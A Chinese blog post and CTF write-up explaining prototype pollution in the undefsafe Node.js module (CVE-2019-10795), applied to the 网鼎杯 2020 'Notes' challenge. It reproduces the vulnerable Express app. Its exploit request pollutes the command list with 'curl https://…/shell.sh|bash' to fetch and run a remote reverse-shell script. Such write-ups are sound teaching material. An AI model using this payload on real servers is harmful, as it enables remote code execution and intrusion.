Undefsafe 模块原型链污染（CVE-2019-10795）

_rev1ve

已于 2023-12-28 12:15:23 修改

阅读量544

点赞数 10

分类专栏：原型链污染文章标签：学习 web安全安全 node.js

于 2023-12-19 11:41:52 首次发布

本文链接：https://blog.csdn.net/m0_73512445/article/details/135079967

版权

原型链污染专栏收录该内容

5 篇文章

订阅专栏

文章目录

前置知识

Undefsafe相关语法

Undefsafe 是 Nodejs 的一个第三方模块，其核心为一个简单的函数，用来处理访问对象属性不存在时的报错问题。但其在低版本（< 2.0.3）中存在原型链污染漏洞，攻击者可利用该漏洞添加或修改 Object.prototype 属性。

示例如下

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'rev1ve'
        }
    }
};
console.log(object.a.b.e)

正常执行结果
在这里插入图片描述那么如果访问不存在的属性呢，修改部分代码

console.log(object.a.f.e)

那么会发现有报错，因为没有属性f
在这里插入图片描述在编程时，代码量较大时，我们可能经常会遇到类似情况，导致程序无法正常运行，发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题
我们可以看到虽然中间出现了访问不存在属性，但是输出结果却并没有报错而是回显undefined

同时在对对象赋值时，如果目标属性存在undefsafe模块会修改属性值
在这里插入图片描述如果不存在则访问属性会在上层进行创建并赋值

漏洞分析

undefsafe 模块在小于2.0.3版本，存在原型链污染漏洞（CVE-2019-10795）

看向下面代码

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'rev1ve'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);

由于toString本身就是存在，我们通过Undefsafe将其更改成了我们想要执行的语句。也就是说当undefsafe()函数的第 2，3 个参数可控时，我们便可以污染 object 对象中的值
（即使是不存在的属性也可以污染）

例题 [网鼎杯 2020青龙组]Notes

题目给了源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

可以知道引入undefsafe模块，由前文可以知道是存在原型链污染漏洞（CVE-2019-10795），那么我们来分析如何利用漏洞来实现rce的。

首先看向Notes类中的edit_note方法

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

发现三个参数id, author, raw均是可控的，会进行undefsafe处理
而另外一个get_note方法只有id参数是可控的

get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

所以我们选择的注入点是edit_note方法，然后往下看发现是/edit_note路由调用此方法

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

那么我们只需要POST传参三个参数（具体污染可参考前置知识）
然后就是如何rce，我们在/status路由下发现会遍历commands去命令执行，所以污染其中一个即可

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我用的是curl命令去访问我用花生壳映射的https服务器的反弹shell文件，首先在shell.sh文件的目录开启http服务

#我映射的是8000端口
python3 -m http.server 8000

开启监听，在/edit_notePOST传参

id=__proto__.aaa&author=curl https://5i781963p2.yicp.fun/shell.sh|bash&raw=hhh

注：污染commands.aaa，由于不存在会自动创建

看到回显Something broke!说明污染成功，然后访问/status去命令执行
反弹成功，得到flag
在这里插入图片描述